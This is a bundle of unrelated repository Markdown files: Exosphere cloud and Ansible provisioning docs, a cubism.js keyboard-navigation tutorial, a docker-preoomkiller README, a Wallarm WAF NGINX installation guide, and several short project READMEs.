The `clouds` flag is a list containing JSON objects for each cloud with a custom configuration. Each of these JSON objects contains the following properties:

- `keystoneHostname` (string): Used to look up the custom configuration for a cloud, e.g. `openstack.example.cloud`
- `userAppProxy` (null, string): The hostname of the User Application proxy (UAP), e.g. `uap.openstack.example.cloud`. See `docs/user-app-proxy.md` for more information.
- `imageExcludeFilter` (null, JSON object): A key:value property to exclude images from UI, see example below
- `featuredImageNamePrefix` (null, string): A (public) image is 'featured' if the name starts with this string

```javascript
  clouds: [
    {
      keystoneHostname: "openstack.example.cloud",
      userAppProxy: "uap.openstack.example.cloud",
      imageExcludeFilter: null,
      featuredImageNamePrefix: null
    },
    {
      keystoneHostname: "iu.jetstream-cloud.org",
      userAppProxy: "proxy-j7m-iu.exosphere.app",
      imageExcludeFilter: {
        filterKey: "atmo_image_include",
        filterValue: "true"
      },
      featuredImageNamePrefix: "JS-API-Featured"
    }
  ]
```

##### Example Image Exclude Filter

This excludes images built by, and intended for the Atmosphere platform.

```
  imageExcludeFilter: {
    filterKey: "atmo_image_include",
    filterValue: "true"
  }
```

#### Example Custom Palette

This declares a primary and secondary color in the app.

```
palette: { primary: {r: 0, g: 108, b: 163 }, secondary : {r: 96, g: 239, b: 255 } }
```

#### Example Localization JSON object

This allows a deployer to customize terms used by Exosphere for their organization or community.

```
localization: {
    openstackWithOwnKeystone: "cloud",
    openstackSharingKeystoneWithAnother: "region",
    unitOfTenancy: "project",
    maxResourcesPerProject: "resource limits",
    pkiPublicKeyForSsh: "SSH public key",
    virtualComputer: "instance",
    virtualComputerHardwareConfig: "size",
    cloudInitData: "boot script",
    commandDrivenTextInterface: "terminal",
    staticRepresentationOfBlockDeviceContents: "image",
    blockDevice: "volume",
    nonFloatingIpAddress: "internal IP address",
    floatingIpAddress: "floating IP address",
    publiclyRoutableIpAddress: "public IP address",
    graphicalDesktopEnvironment: "graphical desktop environment"
    }
```

### Instance Provisioning Code

Exosphere uses Ansible to configure and provision new instances. (Among other things, it installs and configures Docker and Apache Guacamole server for the one-click terminal and remote desktop environment.) The provisioning code is stored in the `ansible/` directory of the Exosphere repository.

By default, new instances pull this code from the master branch of the upstream [exosphere/exosphere](https://gitlab.com/exosphere/exosphere/) repository. This is true even for instances which are launched using a different branch or fork of Exosphere.

You may wish to configure Exosphere to deploy instances using your own (modified) instance provisioning code, for development/testing purposes or as customized for your own organization. To do that, you must push the code to a git repository somewhere that new instances can download from, and then set two options in `config.js`:

- `instanceConfigMgtRepoUrl` to the git repository URL that new instances can download your provisioning code from
- `instanceConfigMgtRepoCheckout` to the repository branch/tag/commit that should be checked out (defaults to master if left `null`)

Note that Exosphere downloads the specified repo and runs the playbook stored at `ansible/playbook.yml`, so implement your changes by modifying that playbook.

---

To test the instance provisioning code locally on a cloud instance, do this:
```
virtualenv /opt/ansible-venv
. /opt/ansible-venv/bin/activate
pip install ansible-base
ansible-pull --url https://gitlab.com/exosphere/exosphere.git --directory /opt/instance-config-mgt -i /opt/instance-config-mgt/ansible/hosts /opt/instance-config-mgt/ansible/playbook.yml
```

Optionally, pass the `--checkout` argument to specify a git branch/tag or commit hash.

For now, we are using only [built-in Ansible modules](https://docs.ansible.com/ansible/latest/collections/ansible/builtin/#modules), because Exosphere uses the lightweight `ansible-base` / `ansible-core` package.

#### Ansible variables currently used

Exosphere sets these variables when running the instance provisioning code on a new instance.

| variable     | type    | required | description                                                             |
|--------------|---------|----------|-------------------------------------------------------------------------|
| guac_enabled | boolean | no       | deploys Apache Guacamole to serve terminal (and optionally desktop)     |
| gui_enabled  | boolean | no       | deploys VNC server, configures Guacamole to serve graphical desktop     |

repository: c-mart/exosphere

repo_name: c-mart/exosphere


text:
---
layout: post
title: "Move More Than 1 Unit with Square's Cubism.js"
date: 2012-04-26 21:42
comments: false
external-url:
published: true
---

A few days ago, [Square](http://squareup.com) released another open-source project: [cubism.js](http://square.github.com/cubism/). Cubism is a plugin for the fantastic [D3](http://mbostock.github.com/d3/) library, allowing you to visualize data over a series of time.

When cubism was released, I began using it and hacking on some examples. I found one feature I really wanted was missing: the ability to move multiple units at once across the graph via the keyboard. You can move 1 unit at a time by pressing ← or →, but I wanted to be able to quickly move from one side of the graph to another, without having to use the mouse.

Before digging into this, it's worth noting that the guy behind D3 and Cubism, [Mike Bostock](http://bost.ocks.org/mike/), and I have already [discussed getting this into cubism's core](https://github.com/square/cubism/pull/2), but decided against it to keep the code base small and not force developers into doing something a specific way.

## Adding this functionality

The first thing you'll need to do is to clone the repo. To do so, simply run the following in the terminal:

```
git clone https://github.com/square/cubism.git
```

Now that we have the code, let's move into that folder we just made by doing a `cd cubism` in the terminal.

Before diving into this, though, we'll need something to test our changes against. The easiest way to do this is to use the `gh-pages` branch of the cubism repo. This way, we can test our code with the example demo app Mike and Square have put together for us. To check this branch out, simply do the following in the terminal:

```
git checkout gh-pages
```

Great - now we have a demo app to see our progress with (to see the demo app, open `demo/index.html` in your favorite web browser). If you look at the source of `demo/index.html`, you'll see it's referencing `cubism.v1.js` in the parent directory. So, that's what we'll be modifying.

#### Modifying cubism.v1.js

Now, open up `cubism.v1.js` in your text editor. Since we're looking to add this functionality when a user presses a key, I just searched for a `keydown` event. It turns it you can find it on approximately **line 130**, with this code: `d3.select(window).on("keydown.context-" + ++cubism_id, function() {...`.

I won't get too much into the code that surrounds the `switch` statement, but `.select()` and is part of [D3](http://mbostock.github.com/d3/), and we're just waiting for a `keydown` event.

Let's get this working for the `left` key first, so we'll adjust what is within the `case 37`. Right now, it is like this:

<script src="https://gist.github.com/2553756.js"> </script>

Basically, that's saying if the user isn't focusing on anything yet, bring the focus to the right-most unit on the graph (which is `size - 1`). If the focus is something that is greater than zero, then set the `context.focus` to be 1 less than the current focus - pretty simple stuff.

The way I wanted cubism to work was, if I was holding down `shift` while using the arrow keys, the focus would move more than 1 unit (perhaps 20 units). To do that programmatically, we get something like this:

<script src="https://gist.github.com/2553760.js"> </script>

So this code tells cubism to move the focus by 20 if the following 2 are true statements:

1. the `shift` key is pressed while the user is pressing ←
2. the focus is greater than `20`

The second condition above is needed, because otherwise, the focus could move off the graph, and we definitely don't want that! However, if the focus is less than 20, the execution flow will then cascade into the `else` clause, and the focus will subtract itself by 1, like it would if `shift` wasn't pressed by the user.

Now, let's do something similar if they were to press the right arrow:

<script src="https://gist.github.com/2553762.js"> </script>

The code above is essentially the inverse of what we do for ←.

Now that we've made the adjustment to our cubism code, we can open up `demo/index.html` in our browser and test it out! It should work great - we can jump 20 units left or right when we're not close to an edge, and when we are close to an edge, it will fall back and just jump by 1 unit.

#### Adding this to the API

If you want to take this a step further, though, we can add this to the API of cubism, so you can dynamically change the shift difference value.

The first thing we'll need to do is set a default value as a variable. I'm calling mine `shiftDiff`, and putting it on line 25 of `cubism.v1.js`, directly underneat the `clientDelay` variable.

<script src="https://gist.github.com/2553771.js"> </script>

Now, we need to add a method to the `context` object. You can see directly under the **update** function declaration in `cubism.v1.js`, Mike starts to declare methods on the `context` object (like *start*, *stop*, *step*, etc...). We're going to put ours directly underneath `stop`. So, on approximately line 68, let's add the following:

<script src="https://gist.github.com/2553772.js"> </script>

This `shiftDiff` function allows us to pass in a `diff` argument, and will set the units to move when the user is holding `shift` and pressing the arrow keys. We can use it like so:

<script src="https://gist.github.com/2553774.js"> </script>

This won't quite work yet, though - we need to update our previous adjustments to the switch statement on `keydown` to use the `shiftDiff` variable, not just `20`.

So, they become:

<script src="https://gist.github.com/2553777.js"> </script>

Awesome. Now, let's open up `demo/index.html` in our text editor and change the `shiftDiff` to a larger number. You'll see on approximately line 14 of `demo/index.html`, there is a new cubism context created:

<script src="https://gist.github.com/2553781.js"> </script>

Let's adjust that to take into account our new API adjustment:

<script src="https://gist.github.com/2553782.js"> </script>

Now, when we load up the `demo/index.html` page in our browser, the `shiftDiff` is going to be move a heck of a lot more than 20 units!

extension: markdown


text:
# docker-preoomkiller
Watches container memory use and sends a custom signal to a process in the container before Docker OOMKills it

## Dependencies

Python 2 / 3

`preoomkiller` has no Python package dependencies so should work everywhere

## Install

With `curl`: put `RUN curl -sSf https://raw.githubusercontent.com/artsy/docker-preoomkiller/master/install-preoomkiller.sh | sh` in your Dockerfile to install `preoomkiller` to `/usr/local/bin`

Or: manually `ADD` `preoomkiller` to your Docker image somewhere on your `$PATH`

## Use

By default, `preoomkiller` will send `SIGTERM` to its parent pid, and is designed to run in the background in a container's entrypoint script.

For example use, see the Dockerfiles and `docker-entrypoint.sh` in the root of this repo. `preoomkiller` is invoked with `exec /usr/local/bin/preoomkiller &` before the main process executes in the foreground, and so the resulting process tree will look like:

```
root         1  0.1  0.0   4036   664 ?        Ss   14:24   0:00 /usr/bin/dumb-init -- /docker-entrypoint.sh
root         8  0.0  0.0  19708  3196 ?        Ss   14:24   0:00 /bin/bash /docker-entrypoint.sh
root         9  0.0  0.0  24512  6400 ?        S    14:24   0:00  \_ python /usr/local/bin/preoomkiller
root        36  0.0  0.0   5932   644 ?        S    14:24   0:00  \_ sleep 1
```

You can also configure `preoomkiller` to send its signal to pid 1 (see below)

`preoomkiller` is observed to use approximately 3.4Mb running on Python 2 and 5.7Mb running on Python 3

## Configuration options

`preoomkiller` won't start unless the environment variable `ENABLE_PREOOMKILLER` is set

`PREOOMKILLER_MEMORY_USE_FACTOR` - (float) at what percentage of used / total memory to kill the container (default `0.95`)

`PREOOMKILLER_POLL_INTERVAL` (integer) - how many seconds to wait beween polling memory use (default `10`)

`PREOOMKILLER_KILL_SIGNAL` (integer) - what signal to send to the process (default `SIGTERM` / `15`)

`PREOOMKILLER_KILL_PID` (integer) - what pid will receive a SIGTERM (default: the pid of the parent that spawned `preoomkiller`) If you don't start `preoomkiller` and your application's main process via an entrypoint script (see the example `docker-entrypoint.sh`) you can also set this to `1`.  Note: make sure you're using an init system like [dumb-init](https://github.com/Yelp/dumb-init) to make sure the pid 1 process properly proxies signals to children

`PREOOMKILLER_GRACE_PERIOD` (integer) - how many seconds to sleep after sending `PREOOMKILLER_KILL_SIGNAL` to `PREOOMKILLER_KILL_PID` (default `30`)

`PREOOMKILLER_DEBUG` - if set, print memory statistics when polling

## Testing

`make test-all`

## Building Docker images

`make build-all`

repository: artsy/docker-preoomkiller

repo_name: artsy/docker-preoomkiller


text:
[img-wl-console-users]:             ../../images/check-users.png
[wallarm-status-instr]:             ../../admin-en/configure-statistics-service.md
[memory-instr]:                     ../../admin-en/configuration-guides/allocate-resources-for-waf-node.md
[waf-directives-instr]:             ../../admin-en/configure-parameters-en.md
[sqli-attack-desc]:                 ../../attacks-vulns-list.md#sql-injection
[xss-attack-desc]:                  ../../attacks-vulns-list.md#crosssite-scripting-xss
[img-test-attacks-in-ui]:           ../../images/admin-guides/test-attacks.png
[waf-mode-instr]:                   ../../admin-en/configure-wallarm-mode.md
[logging-instr]:                    ../../admin-en/configure-logging.md
[proxy-balancer-instr]:             ../../admin-en/using-proxy-or-balancer-en.md
[scanner-whitelisting-instr]:       ../../admin-en/scanner-ips-whitelisting.md
[process-time-limit-instr]:         ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit
[configure-selinux-instr]:          ../../admin-en/configure-selinux.md
[configure-proxy-balancer-instr]:   ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md
[install-postanalytics-instr]:      ../../admin-en/installation-postanalytics-en.md
[update-instr]:                     ../../updating-migrating/nginx-modules.md
[install-postanalytics-docs]:        ../../../admin-en/installation-postanalytics-en/
[versioning-policy]:               ../../updating-migrating/versioning-policy.md
[dynamic-dns-resolution-nginx]:     ../../admin-en/configure-dynamic-dns-resolution-nginx.md
[enable-libdetection-docs]:         ../../admin-en/configure-parameters-en.md#wallarm_enable_libdetection

# Installing dynamic WAF module for NGINX from Debian/CentOS repositories

These instructions describe the steps to install Wallarm WAF as a dynamic module for the open source version of NGINX installed from the Debian/CentOS repositories.

!!! info "If Wallarm WAF is already installed in your environment"
    If you install Wallarm WAF instead of an already existing Wallarm WAF or need to duplicate the installation in the same environment, then please keep the same WAF version as currently used or update all installations to the latest version. For the postanalytics installed separately, versions of substite or duplicate installations must be the same as already installed postanalytics too.

    To check the installed version of WAF node and postanalytics installed on the same server:

    === "Debian"
        ```bash
        apt list wallarm-node
        ```
    === "CentOS"
        ```bash
        yum list wallarm-node
        ```

    To check the versions of WAF node and postanalytics installed on different servers:

    === "Debian"
        ```bash
        # run from the server with installed WAF node
        apt list wallarm-node-nginx
        # run from the server with installed postanalytics
        apt list wallarm-node-tarantool
        ```
    === "CentOS"
        ```bash
        # run from the server with installed WAF node
        yum list wallarm-node-nginx
        # run from the server with installed postanalytics
        yum list wallarm-node-tarantool
        ```

    * If the version `3.0.x` is installed, then follow the instructions for the [WAF node 3.0](/waf-installation/nginx/dynamic-module-from-distr/) and for [separate postanalytics 3.0](/admin-en/installation-postanalytics-en/).
    * If the version `2.18.x` is installed, then follow the instructions for the [WAF node 2.18](/2.18/waf-installation/nginx/dynamic-module-from-distr/) and for [separate postanalytics 2.18](/2.18/admin-en/installation-postanalytics-en/) or update [WAF node packages](/updating-migrating/nginx-modules/) and [separate postanalytics packages](/updating-migrating/separate-postanalytics/) to the latest version in all installations.
    * If the version `2.16.x` or lower is installed, then please update the [WAF node packages](/updating-migrating/nginx-modules/) and [separate postanalytics packages](/updating-migrating/separate-postanalytics/) to the latest version in all installations. Support for installed versions will be deprecated soon.

    More information about WAF node versioning is available in the [WAF node versioning policy][versioning-policy].

## Requirements

--8<-- "../include/waf/installation/nginx-requirements.md"

## Installation options

--8<-- "../include/waf/installation/nginx-installation-options.md"

Installation commands for both options are described in the further instructions.

## Installation

### 1. Add Debian/CentOS repositories

=== "Debian 9.x (stretch)"
    ```bash
    sudo apt install dirmngr
    curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add -
    sh -c "echo 'deb http://repo.wallarm.com/debian/wallarm-node stretch/2.16/' | sudo tee /etc/apt/sources.list.d/wallarm.list"
    sudo apt update
    ```
=== "Debian 9.x (stretch-backports)"
    ```bash
    sudo apt install dirmngr
    curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add -
    sh -c "echo 'deb http://repo.wallarm.com/debian/wallarm-node stretch/2.16/' | sudo tee /etc/apt/sources.list.d/wallarm.list"
    sh -c "echo 'deb http://repo.wallarm.com/debian/wallarm-node stretch-backports/2.16/' | sudo tee --append /etc/apt/sources.list.d/wallarm.list"
    # for correct WAF operation, uncomment the following line in /etc/apt/sources.list`:
    # deb http://deb.debian.org/debian stretch-backports main contrib non-free
    sudo apt update
    ```
=== "Debian 10.x (buster)"
    ```bash
    sudo apt install dirmngr
    curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add -
    sh -c "echo 'deb http://repo.wallarm.com/debian/wallarm-node buster/2.16/' | sudo tee /etc/apt/sources.list.d/wallarm.list"
    sudo apt update
    ```
=== "CentOS 7.x"
    ```bash
    sudo yum install -y epel-release
    sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/2.16/x86_64/Packages/wallarm-node-repo-1-6.el7.noarch.rpm
    ```
=== "CentOS 8.x"
    ```bash
    sudo yum install -y epel-release
    sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/2.16/x86_64/Packages/wallarm-node-repo-1-6.el8.noarch.rpm
    ```

### 2. Install NGINX with Wallarm WAF packages

#### Request processing and postanalytics on the same server

The command installs the following packages:

* `nginx` for NGINX
* `libnginx-mod-http-wallarm` or `nginx-mod-http-wallarm` for the NGINX-Wallarm module
* `wallarm-node` for the postanalytics module, Tarantool database, and additional NGINX-Wallarm packages

=== "Debian 9.x (stretch)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm
    ```
=== "Debian 9.x (stretch-backports)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm -t stretch-backports
    ```
=== "Debian 10.x (buster)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm
    ```
=== "CentOS 7.x"
    ```bash
    sudo yum install nginx wallarm-node nginx-mod-http-wallarm
    ```
=== "CentOS 8.x"
    ```bash
    sudo yum install nginx wallarm-node nginx-mod-http-wallarm
    ```

#### Request processing and postanalytics on different servers

To run postanalytics and process the requests on different servers, the following packages are required:

* `wallarm-node-tarantool` on the separate server for the postanalytics module and Tarantool database (installation steps are described in the [instructions](../../admin-en/installation-postanalytics-en.md))

* `wallarm-node-nginx` and `libnginx-mod-http-wallarm`/`nginx-mod-http-wallarm` for the NGINX-Wallarm module

The commands install packages for NGINX and for the NGINX-Wallarm module:

=== "Debian 9.x (stretch)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node-nginx libnginx-mod-http-wallarm
    ```
=== "Debian 9.x (stretch-backports)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node-nginx libnginx-mod-http-wallarm -t stretch-backports
    ```
=== "Debian 10.x (buster)"
    ```bash
    sudo apt install --no-install-recommends nginx wallarm-node-nginx libnginx-mod-http-wallarm
    ```
=== "CentOS 7.x"
    ```bash
    sudo yum install nginx wallarm-node-nginx nginx-mod-http-wallarm
    ```
=== "CentOS 8.x"
    ```bash
    sudo yum install nginx wallarm-node-nginx nginx-mod-http-wallarm
    ```

### 3. Connect the Wallarm WAF module

Copy the configuration files for the system setup:

=== "Debian"
    ```bash
    sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/
    ```
=== "CentOS"
    ```bash
    sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/
    ```

### 4. Connect the WAF node to Wallarm Cloud

--8<-- "../include/waf/installation/connect-waf-and-cloud.md"

### 5. Update Wallarm WAF configuration

Main configuration files of NGINX and Wallarm WAF node are located in the directories:

* `/etc/nginx/conf.d/default.conf` with NGINX settings
* `/etc/nginx/conf.d/wallarm.conf` with global WAF node settings

    The file is used for settings applied to all domains. To apply different settings to different domain groups, use the file `default.conf` or create new configuration files for each domain group (for example, `example.com.conf` and `test.com.conf`). More detailed information about NGINX configuration files is available in the [official NGINX documentation](https://nginx.org/en/docs/beginners_guide.html).
* `/etc/nginx/conf.d/wallarm-status.conf` with WAF node monitoring settings. Detailed description is available within the [link][wallarm-status-instr]
* `/etc/default/wallarm-tarantool` or `/etc/sysconfig/wallarm-tarantool` with the Tarantool database settings

#### Request filtration mode

By default, the WAF node is in the status `off` and does not analyze incoming requests. To enable requests analysis, please follow the steps:

1. Open the file `/etc/nginx/conf.d/default.conf`:

    ```bash
    sudo vim /etc/nginx/conf.d/default.conf
    ```
2. Add the line `wallarm_mode monitoring;` to the `https`, `server` or `location` block:

??? "Example of the file `/etc/nginx/conf.d/default.conf`"

    ```bash
    server {
        # port for which requests are filtered
        listen       80;
        # domain for which requests are filtered
        server_name  localhost;
        # WAF node mode
        wallarm_mode monitoring;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }
    }
    ```

When operating in the `monitoring` mode, the WAF node searches attack signs in requests but does not block detected attacks. We recommend keeping the traffic flowing via the WAF node in the `monitoring` mode for several days after the WAF node deployment and only then enable the `block` mode. [Learn recommendations on the WAF node operation mode setup →](../../about-wallarm-waf/deployment-best-practices.md#follow-recommended-onboarding-steps)

#### Memory

!!! info "Postanalytics on the separate server"
    If you installed postanalytics on a separate server, then skip this step as you already have your postanalytics configured.

The WAF node uses the in-memory storage Tarantool. The recommended memory size for Tarantool is 75% of the total server memory. To allocate memory for Tarantool:

1. Open the Tarantool configuration file in the editing mode:

    === "Debian"
        ``` bash
        sudo vim /etc/default/wallarm-tarantool
        ```
    === "CentOS"
        ``` bash
        sudo vim /etc/sysconfig/wallarm-tarantool
        ```
2. Specify memory size in GB in the `SLAB_ALLOC_ARENA` directive. The value can be an integer or a float (a dot `.` is a decimal separator). For example, 24 GB:

    ```bash
    SLAB_ALLOC_ARENA=24
    ```

    Detailed recommendations about allocating memory for Tarantool are described in these [instructions][memory-instr].
3. To apply changes, restart Tarantool:

    === "Debian"
        ``` bash
        sudo systemctl restart wallarm-tarantool
        ```
    === " CentOS 7.x"
        ```bash
        sudo systemctl restart wallarm-tarantool
        ```

#### Address of the separate postanalytics server

!!! info "NGINX-Wallarm and postanalytics on the same server"
    If the NGINX-Wallarm and postanalytics modules are installed on the same server, then skip this step.

--8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md"

#### Other configurations

To update other NGINX and Wallarm WAF configurations, use the NGINX documentation and the list of [available Wallarm WAF directives][waf-directives-instr].

### 6. Restart NGINX

--8<-- "../include/waf/root_perm_info.md"

=== "Debian"
    ```bash
    sudo systemctl restart nginx
    ```
=== "CentOS 7.x"
    ```bash
    sudo systemctl restart nginx
    ```

### 7. Test Wallarm WAF operation

--8<-- "../include/waf/installation/test-waf-operation.md"

## Settings customization

Dynamic Wallarm WAF module with default settings is installed for NGINX from the Debian/CentOS repositories. To customize Wallarm WAF settings, use the [available directives](../../admin-en/configure-parameters-en.md).

--8<-- "../include/waf/installation/common-customization-options-nginx-216.md"

repository: AnastasiaTWW/product-docs-en

repo_name: AnastasiaTWW/product-docs-en


text:
# _Currency Exchanger_

#### _Currency Exchanger app, 11/20/2020_

#### By _**Nataliya Zhuravleva**_

## Description

_This Currency Exchange application allows user to convert inputted amount in USD(US Dollar) currency to a choosen currency. User may choose currency from this list:_
* EUR (Euro Member Countries currency)
* RUB (Russia Ruble)
* CAD (Canada Dollar)
* MXN (Mexico Peso)
* SEK (Sweden Krona)

_Currency Exchanger uses the most recent exchange rate._

## Setup/Installation Requirements
### View Online
_Visit [Currency-exchanger webpage](https://nataliyazhuravleva.github.io/Currency-exchanger/) at https://nataliyazhuravleva.github.io/Currency-exchanger/_ to view application on GitHub pages._
### Open Locally
1. _Navigate to my [Currency-exchanger repo](https://github.com/NataliyaZhuravleva/Currency-exchanger) at https://github.com/NataliyaZhuravleva/Currency-exchanger_ to view the project files and commits.
2. _Click on the green button labeled "Code"_ to copy repository URL.
3. _Clone the repository to your local machine_ by opening your machine terminal and using the command "git clone https://github.com/NataliyaZhuravleva/Currency-exchanger".
4. _Create API Key (see instruction below)_
5. _Place your token in an .env file at the top level of your directory. Name your API key variable API_KEY in .env. Keep spelling and capitalization identical.(e.g. API_KEY=[your API Key])_
6. Include .env in .gitignore file.

### Creating API Key

_To use this application, you will need to make an account and get an API key. The "Free Plan" allows for 2000 API calls per month._
1. _Visit the [ExchangeRate-API site](https://www.exchangerate-api.com/). Input your email address and click the "Get Free Key" button._
2. _You'll be prompted to create an account with your email, first name and a password. Agree to the terms of use and click "Get Started!"_
3. _At this point, you'll be able to access a dashboard that includes your API key as well as your remaining API calls for the month._

## Known Bugs

_No known bags_

## Support and contact details

_If you have any questions, ideas or concerns, please, contact me at [natalindria@gmail.com](mailto:natalindria@gmail.com)_

## Technologies Used

* _VisualStudio Code_
* _Git_
* _GitHub_
* _HTML/CSS/Bootstrap_
* _JavaScript/jQuery_
* _Node_
* _Npm_
* _ESLint_
* _Jest_
* _API_

### License

*This software is licensed under the [MIT](https://choosealicense.com/licenses/mit/) license*

Copyright (c) 2020 **_Nataliya Zhuravleva_**

repository: NataliyaZhuravleva/Currency-exchanger

repo_name: NataliyaZhuravleva/Currency-exchanger


text:
The [ CompressorNode ](https://github.com/zeroengineteam/ZeroDocs/blob/master/code_reference/class_reference/compressornode.markdown) collects audio data from all of its inputs and applies a compressor filter before passing the data along to its outputs.

 # Common Uses

- Preventing a sound (or group of sounds) from becoming too loud

 # Using the CompressorNode

Compressor filters reduce the volume of sounds that go above a certain threshold, according to a specified ratio. The volume is calculated according to this formula:

(NOTE) VolumeAdjustmentDecibels = (1.0 - (1.0 / Ratio)) * (ThresholdDecibels - CurrentVolume)

In other words, if the `Ratio` is `4.0`, the `ThresholdDecibels` is `-2` dB, and the current volume of the sound is `+2` db, a volume adjustment of `-3` dB will be applied and the volume of the sound will be reduced to `-1` dB. If the `Ratio` property is set to `0.0`, the `1.0 - (1.0 / Ratio)` value will be set to `1.0`, so the volume will never go above the `ThresholdDecibels` value: this creates a Limiter filter.

The `AttackMillisec` and `ReleaseMillisec` properties control how quickly the filter eases in and out as the sound goes above the `ThresholdDecibels` then goes back below. The `AttackMillisec` should generally be short and the `ReleaseMillisec` should be longer, but this will depend on the desired effect. The `KneeWidth` property sets the number of decibels, centered at the `ThresholdDecibels`, over which the volume compression eases in.

---
 # Related Materials
 ## Manual
- [soudnode_overview](https://github.com/zeroengineteam/ZeroDocs/blob/master/zero_editor_documentation/zeromanual/audio/soundnode/soudnode_overview.markdown)
- [expandernode](https://github.com/zeroengineteam/ZeroDocs/blob/master/zero_editor_documentation/zeromanual/audio/soundnode/expandernode.markdown)

 ## Code Reference
- [ CompressorNode ](https://github.com/zeroengineteam/ZeroDocs/blob/master/code_reference/class_reference/compressornode.markdown)

repository: flyhex/ZeroDocs

repo_name: flyhex/ZeroDocs


text:
---
title: NetCDF-Java Online Tutorial
last_updated: 2019-07-24
sidebar: netcdfJavaTutorial_sidebar
permalink: index.html
toc: false
---

## What is the THREDDS Project?

The overarching goal of Unidata's Thematic Real-time Environmental Distributed Data Services (THREDDS) project is to provide students, educators, and researchers with coherent access to a large collection of real-time and archived datasets from a variety of environmental data sources at a number of distributed server sites.

## What is netCDF-Java?

The netCDF-Java library implements a [Common Data Model (CDM)](common_data_model_overview.html), a generalization of the netCDF, OpenDAP and HDF5 data models.
The netCDF-Java library is a 100% Java framework for _reading_ netCDF and other file formats into the CDM, as well as _writing_ to the netCDF-3 file format.
[Writing to the netCDF-4 file format](netcdf4_c_library.html) requires installing the netCDF C library.
The netCDF-Java library also implements [NcML](ncml_overview.html), which allows you to add metadata to CDM datasets, as well as to create virtual datasets through aggregation.
The [THREDDS Data Server (TDS)](https://www.unidata.ucar.edu/software/thredds/current/tds/){:target="_blank"} is built on top of the netCDF-Java library.

NetCDF-Java is Free and Open Source Software, and is hosted on [GitHub](https://github.com/unidata/netcdf-java){:target="_blank"}.
To build the latest stable version from source or contribute code to the netCDF-Java project, [see here](building_from_source.html).
Most projects use netcdfAll.jar or toolsUI.jar (download [here](https://www.unidata.ucar.edu/downloads/netcdf-java/){:target="_blank"}), or include the desired artifacts in their maven or gradle builds.
See [Using netCDF-Java Maven Artifacts](using_netcdf_java_artifacts.html) for details.

As of version 5.0, netCDF-Java is released under the BSD-3 licence, which can be found can be found [here](https://github.com/Unidata/netcdf-java/blob/master/LICENSE){:target="_blank"}.

For information on how to cite netCDF-Java, please visit <https://www.unidata.ucar.edu/community/index.html#acknowledge>

repository: Unidata/netcdf-java

repo_name: Unidata/netcdf-java


text:
# webjetserver Movie Service

Webjetserver Movie microservice gives out the list of movies and its charges available on its platform.
The project using the following technologies:

- Express for RESTful API
- MongoDB for database

## Getting Started

### Clone the repo and install the project

- git clone https://github.com/golashr/webjetserver.git
- cd webjetserver

## Requirements

- [Node.js](https://nodejs.org/en/) 10.16.+

## Running

Install Dependencies

`npm install`

Start Server

`npm start`

Run Tests

`npm run test`

- Visit [localhost:3001/api/ping](http://localhost:3001/api/ping)
- Visit [localhost:3001/api/login](http://localhost:3001/api/login)
- Visit [localhost:3001/api/cinemaworld/movies](http://localhost:3001/api/cinemaworld/movies)
- Visit [localhost:3001/api/cinemaworld/movie?ID=?](http://localhost:3001/api/cinemaworld/movie?ID=?)
- Visit [localhost:3001/api/filmworld/movies](http://localhost:3001/api/filmworld/movies)
- Visit [localhost:3001/api/filmworld/movie?ID=](http://localhost:3001/api/filmworld/movie?ID=?)
- Visit [localhost:3001/api/getmovies](http://localhost:3001/api/getmovies)

repository: golashr/newflix

repo_name: golashr/newflix


text:
---
layout: text/textblock
---

The first part of user research for a service is [identifying the users and their needs](/user-research/identifying-users-needs/).

You can learn about users by:

- reviewing existing evidence (for example, analytics, search logs, call centre data, previous research reports)
- [interviewing and observing](/user-research/interviewing-users/) actual or likely users
- talking to people inside and outside your organisation who work with actual or likely users

Treat any opinions or suggestions that don’t come from users as assumptions that have to be proven by doing research.

repository: alex-exceed/service

repo_name: alex-exceed/service


text:
# aboutme
Short guessing game about me

Five questions and answers about me are provided, with a running counter of how many answers are correct. The user's answers and whether or not they are correct are logged in the console for examination/monitoring while the quiz is being taken.

reset.css code taken from meyerweb at https://meyerweb.com/eric/tools/css/reset/

repository: Trendswithbenefits/aboutme

repo_name: Trendswithbenefits/aboutme


text:
# ThickBoxObject v.1.0

This will add a helper for thickboxes in Rails. (It is a fork of Lipsiasoft/lightbox) It is a work in progress, though. So please be patience.

`<%= javascript_include_tag :defaults %>`

You must add also the stylesheet so add this on your page head:

`<%= stylesheet_link_tag 'lightbox' %>`

The is very simple for add a LightBox in your page add this:

`<%= lightbox_link_to "Link Name", "/path/of/your/image.png" %>`

OR

`<%= lightbox_image_tag("/path/of/your/image-thumb.png", "/path/of/your/image.png", {:class=>"images"}, :title => "This is a test!") %>`

You can add, title, controller, action what do u whant becaue it's based on image_tag and link_to.

Vist my website: http://blog.lipsiasoft.com

repository: peamcc/lightbox

repo_name: peamcc/lightbox


text:
---
title: Insert raw HTML or Markdown into a web page
description: >
   .
created: 2023-02-24 16:49:49
lastUpdated: 2023-08-19 17:01:08
---

The HTML element type passes raw HTML string input to the output. No optional heading is allowed. The inserted HTML is wrapped in a `<div>`.

Inserted HTML cannot replace the whole HTML document (`<html>`) or the `<head>` at this time. Use the `uib-update` node to update existing parts of the `<head>`.

The input payload must contain the HTML string to use.

If the _[DOMPurify](https://github.com/cure53/DOMPurify)_ library is loaded in the web page, inserted HTML will be checked and made safe.

